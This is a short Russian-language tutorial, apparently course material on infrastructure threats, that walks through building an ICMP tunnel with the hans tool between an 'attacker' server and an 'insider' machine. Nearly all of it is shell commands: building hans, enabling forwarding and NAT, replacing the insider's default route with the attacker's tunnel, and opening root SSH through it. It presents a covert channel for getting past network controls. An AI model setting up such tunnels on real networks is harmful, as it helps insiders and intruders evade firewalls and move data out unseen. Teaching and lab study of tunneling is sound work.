# ICMP Tunneling
#### 1. Установка необходимых инструментов
> Команды ниже производим на машине атакующего и инсайдера
>
> Необходимо установить make, g++, net-tools
>
> ```
> apt update & apt upgrade
>
> apt install make
> apt install g++
> apt install net-tools
>
> Если не установлен Git
> apt install git
>
> ```
#### 2. Установка Hans на машине атакующего и инсайдера
> 1. Необходимо клонировать утилиту **hans** с **git**
> **`git clone https://github.com/friedrich/hans`**
>
> 2. Перейти в папку **hans**
> **`cd hans/`**
>
> 3. Собрать исходники с помощью **make**
> **`make`**
>
> 4. Переименовать папку **hans** в **hans-tunnel**
> **`mv hans hans-tunnel`**
>
> 5. Переместить папку **hans-tunnel** на директорию выше
> **`mv hans-tunnel ../`**
>
> 6. И соответственно перейти на директорию выше
> **`cd ..`**
>
> 7. Проверить есть ли права на *выполнение, чтение и запись* у директории **hans-tunnel**
> **`ls -la /hans-tunnel`**
>
#### 3. Создание ICMP Tunneling
> 1. Создать интерфейс туннеля на сервере атакующего
> **`./hans-tunnel -s 10.1.2.0 -p *указать пароль сервера который будет использоваться для подключения клиентов*`**
> Созданному интерфейсу **tun0** присвоиться IP **10.1.2.1/24**
>
> 2. В **/etc/sysctl.conf** включить **forwarding**
> **`nano /etc/sysctl.conf`**
> **`расскоментить net.ipv4.ip_forward=1`**
>
> 3. Сохранить и применить изменения
> **`sysctl -p`**
>
> 4. Прописать **NAT**
> **`iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE`**
>
> 5. На машине инсайдера запустить **клиент hans**, таким образом подключив его к серверу и создание **ICMP туннеля**
> **`./hans -c *указать IP сервера (не IP tun0)* -p *указать пароль сервера*`**
> Созданному интерфейсу **tun0** присвоиться IP **10.1.2.100/24**
>
> 6. Для проверки роутинга
> **`ip route`**
>
> 7. Можно направить трафик через основной интерфейс
> **`ip route add *указать IP хост сервера*/32 via *указать gateway IP клиента*`**
>
> 8. Удалить дефолтный gateway и создать gateway сервера hans(tun0) атакующего
> **`ip route delete default`**
> **`ip route add default via 10.1.2.1`**
>
> 9. Для проверки сети пропингуем внешний ресурс
> **`ping ya.ru`**
#### 4. Реализация туннеля внутри туннеля
> 1. Например можно использовать доступ по SSH
> **`ssh root@10.1.2.100`**
---
:::info
Полезный материал по теме
- [Инструкция hans](http://code.gerade.org/hans/)
- [Hans на GitHub](https://github.com/friedrich/hans)
- [Магия ssh](https://habr.com/ru/post/331348/)
:::
###### tags: `Cyber Infrastructure Threats`, `1 модуль`